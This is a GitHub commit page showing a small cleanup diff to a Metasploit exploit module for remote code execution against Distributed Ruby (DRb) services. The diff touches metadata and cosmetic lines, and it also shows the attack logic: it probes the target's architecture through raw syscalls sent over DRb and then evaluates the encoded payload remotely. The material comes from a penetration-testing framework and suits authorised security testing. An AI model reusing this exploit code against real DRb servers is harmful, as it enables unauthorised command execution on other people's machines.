Skip to content

Commit cfca4b1

Browse files
committed
Clean up module
1 parent 679ebf3 commit cfca4b1

File tree

1 file changed

+3
-7
lines changed

1 file changed

+3
-7
lines changed

modules/exploits/linux/misc/drb_remote_codeexec.rb

Lines changed: 3 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -10,8 +10,6 @@ class MetasploitModule < Msf::Exploit::Remote
1010

1111
Rank = ExcellentRanking
1212

13-
include Msf::Exploit::FileDropper
14-
1513
def initialize(info = {})
1614
super(update_info(info,
1715
'Name' => 'Distributed Ruby Remote Code Execution',
@@ -24,7 +22,7 @@ def initialize(info = {})
2422
[
2523
[ 'URL', 'http://www.ruby-doc.org/stdlib-1.9.3/libdoc/drb/rdoc/DRb.html' ],
2624
[ 'URL', 'http://blog.recurity-labs.com/archives/2011/05/12/druby_for_penetration_testers/' ],
27-
[ 'URL', 'http://bugkraut.de/posts/tainting']
25+
[ 'URL', 'http://bugkraut.de/posts/tainting' ]
2826
],
2927
'Privileged' => false,
3028
'Payload' =>
@@ -35,7 +33,7 @@ def initialize(info = {})
3533
'Platform' => 'unix',
3634
'Arch' => ARCH_CMD,
3735
'Targets' => [
38-
['generic', {}],
36+
['Automatic', {}],
3937
],
4038
'DisclosureDate' => 'Mar 23 2011',
4139
'DefaultTarget' => 0))
@@ -59,17 +57,15 @@ class << p
5957
# syscall to decide whether it's 64 or 32 bit:
6058
# it's getpid on 32bit which will succeed, and writev on 64bit
6159
# which will fail due to missing args
62-
pid = nil
6360
begin
6461
pid = p.send(:syscall, 20)
6562
p.send(:syscall, 37, pid, 23)
6663
rescue Errno::EBADF
6764
# 64 bit system
6865
pid = p.send(:syscall, 39)
69-
print_status "#{pid}"
7066
p.send(:syscall, 62, pid, 23)
7167
end
72-
p.send(:my_eval,payload.encoded)
68+
p.send(:my_eval, payload.encoded)
7369
end
7470

7571
end

0 commit comments

Comments
 (0)